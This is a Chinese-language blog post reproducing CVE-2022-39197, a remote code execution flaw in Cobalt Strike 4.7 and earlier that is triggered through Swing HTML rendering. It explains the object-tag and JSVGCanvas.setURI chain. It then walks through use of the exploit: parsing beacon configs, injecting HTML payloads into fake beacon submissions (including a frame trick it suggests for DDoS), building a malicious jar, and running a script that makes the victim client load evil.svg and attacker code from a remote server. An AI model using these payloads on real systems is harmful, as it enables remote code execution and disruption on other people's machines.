CVE-2022-39197 (CobaltStrike<=4.7)rce漏洞复现
总结一下这个反制神洞,理解一下原理
利用条件
对面的CobaltStrike 版本小于4.7,开启swing渲染
原理分析
swing渲染
目前看来是swing(一种java GUI的库)自带的特性。看到没,文档里直接告诉我们一个事实:在内容的开头插入<html>
标签后续的内容就会被格式化为html文档进行解析,也就是说支持html标签。在官方的文章中也已经写有如何使用swing渲染html
现在进入jdk的rt.jar包进行分析(包含所有核心Java 运行环境的已编译calss文件)
在swing中寻找答案(是上面的html文件夹,截错图了)
objectview
在其中的HTMLEditorKit.java文件中,有一个create方法,其中不同的标签会对应到创建不同的view。这里object标签创建了一个objectview。
现在看看object标签是什么。
我的代码中没有注释,这里我就用大佬的图片。
这个objectview大体上就是可以实例化一个符合要求的类并且通过param进行参数传递!
后面看objectview的代码,说实话我的java并不是很强(又挖坑学java,今年要学的实在是太多了)
我就看看大佬对代码的解析吧。
明显的反射调用并且实例化类,这里要注意的是他还加了个限制判断,也就是实例必须继承与Component,否则就抛出异常。这也大大限制了我们所能操作的范围。我们继续跟入setParameters看看是怎么传递参数的
- classid传入需要实例化的类,类必须继承与Component
- 必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法
- 必须存在一个setXXX方法的XXX属性
- setXXX方法的传参数必须是接受一个string类型的参数
利用链
这里我是看大佬文章直接拿到利用链的,感谢大佬(最新CS RCE(CVE-2022-39197)复现心得分享_mb627b50e21abf2的技术博客_51CTO博客)
org.apache.batik.swing.JSVGCanvas-->setURI
注意这里必须寻找的cs里面的类,jdk中没有可以利用的链子。
这个方法的功能是设置SVG图片的地址,远程加载SVG图片,再通过svg加载自己的恶意类。如果想按照ScriptEngineManager的方式转化为java代码来实现rce,在cs环境中是不行的,因为cs环境中没有需要的javascript相关的库。
等我java有成了来编写自己的工具,(一定
exp使用
xss
首先使用CobaltStrikeParser和木马分析出对面的url和publickey,我这里试了下我之前的免杀马,发现免杀马分析不出。不过我目前还不了解分析的原理,等学习完之后或许可以自己写一个分析脚本。(后面写文_再次挖坑)
这里借用的是其他师傅写的poc,分别是CobaltStrikeParser,CVE-2022-39197-POC。
首先用CobaltStrikeParser拿到其中的ip,port和密钥。
python3 parse_beacon_config.py beacon4.3_x64.exe --json
他会输出相关的内容
将Port、C2Server(记得加二级目录)、HttpPostUri进行拼接,这里变成:http://172.16.12.13:8080/visit.js/submit.php,记录下来
将PublicKey复制到一个txt文件中,注意去除前后的空格
分析出之后用f12团队大佬的工具CS_fakesubmit,将其中主机名改为<html><img src=http://10.10.11.2/1.png>
即可实现xss反制。
<html>1<frame src=x>
(这个是引入外部页面的标签,这样引入的外部html就不会受到限制了。)同样利用,frame就可以绕过长度限制,而且上线之后,对方的cs客户端非常非常非常卡,可以用来打ddos。
dnslog
如果payload是这样的话
<html><script>alert(1)</script>
直接把客户端卡死了
但是有大佬说script标签是不生效的,可是我客户端确实卡死了。
rce
这里用的是外国大佬的exp简单讲下如何使用
1.拿到工具之后,首先在EvilJar\src\main\java
中修改自己想要的java类中的payload。
2.然后在\EvilJar
中执行命令,生成恶意的jar包mvn clean compile assembly:single
3.将生成好的EvilJar-1.0-jar-with-dependencies.jar
从EvilJar/target/
移动到serve/
4.修改server\evil.svg
中的attacker,将自己的恶意类和svg图片都放在这个服务器上面上面。
5.最后输入python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg
等对面点击Process List的时候就会自动加载你的恶意类了。
我也放一张截图庆祝一下
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。